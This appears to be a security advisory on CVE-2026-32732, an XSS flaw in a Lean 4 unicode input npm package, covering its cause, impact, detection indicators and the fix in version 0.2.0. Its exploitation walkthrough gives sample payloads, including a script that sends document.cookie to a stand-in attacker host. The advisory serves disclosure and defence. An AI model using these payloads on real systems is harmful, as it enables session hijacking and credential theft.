CVE-2026-32732: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32732 is a Cross-Site Scripting (XSS) vulnerability in the @leanprover/unicode-input-component npm package, used by the Lean 4 VS Code Extension and web applications such as Loogle. The flaw affects versions 0.1.9 and earlier of the package. It was reported in March 2026, with the fix merged on March 11, 2026, and the advisory published on March 13, 2026. The vulnerability carries a CVSS v4.0 base score of 0.0 (Low) as scored by GitHub, though it is estimated as Medium severity by Feedly due to its XSS attack vector (GitHub Advisory, Security Advisory).

The root cause is classified as CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page — Basic XSS). The vulnerability arises from a flawed text-reinsertion flow in the unicode input component: when a handler triggers, it reads the innerText of the input element (which yields unescaped text), then sets the innerHTML of that element — including any HTML tags present in the input — without sanitization. This allows an attacker to inject malicious HTML or script tags via the input field or query parameters (e.g., on web pages like Loogle that embed the component). The fix in version 0.2.0 escapes all text before setting it via innerHTML, except for underline tags generated internally by the component itself (GitHub PR #735, Security Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the user's VS Code environment or any web application (such as Loogle) that embeds the vulnerable component. Potential consequences include session hijacking, credential theft, and manipulation of the proof assistant environment. The attack requires active user interaction — a user must engage with the vulnerable input field — limiting the scope of automated exploitation (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure. The EPSS score is approximately 0.045–0.067%, placing it in the 21st percentile for exploitation likelihood within 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (GitHub Advisory).

1. Identify a target surface: Locate a web application or VS Code extension that embeds @leanprover/unicode-input-component version 0.1.9 or lower — for example, the Loogle search bar, which accepts query parameters.
2. Craft a malicious payload: Prepare an XSS payload using HTML script tags or event handlers, e.g., <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script>.
3. Inject via input or URL parameter: Supply the payload through the unicode input field directly, or via a crafted URL query parameter that pre-populates the input field on page load.
4. Trigger a component handler: Interact with the input field (e.g., type a character or trigger an abbreviation lookup) to cause the component to read innerText and re-insert it as innerHTML, executing the injected script.
5. Achieve objective: The injected JavaScript executes in the victim's browser or VS Code webview context, enabling session token theft, credential harvesting, or further actions within the application (GitHub PR #735, Security Advisory).

• Network: Unexpected outbound HTTP requests from a VS Code webview or browser session to unknown external domains, potentially carrying encoded cookie or session data in query parameters.
• Logs: Browser or VS Code developer console errors related to unexpected script execution or CSP violations originating from the unicode input component.
• File System: No specific file artifacts are expected for this client-side XSS; however, unexpected changes to stored VS Code extension settings or tokens may indicate post-exploitation activity.
• Process: Unusual network activity initiated by the VS Code renderer process following interaction with a Lean 4 unicode input field.

The primary remediation is to update @leanprover/unicode-input-component to version 0.2.0 or higher, which properly escapes HTML during text reinsertion. Users of the Lean 4 VS Code Extension should update to the latest extension version that includes the patched component. As a temporary workaround, the official advisory recommends replacing the unicode input component with a basic HTML text field. Developers should audit all projects that depend on this package to ensure consistent patching (GitHub Advisory, GitHub PR #735).

The vulnerability was originally discovered and reported by a community member who noticed "weird behavior in the Loogle searchbar" on the Lean Zulip chat. The maintainer (mhuisi) labeled the fix as "critical" in the pull request title despite the low CVSS score, reflecting the practical risk in web-facing deployments. No significant broader media coverage or notable external researcher commentary has been identified beyond the GitHub advisory and community discussion (GitHub PR #735).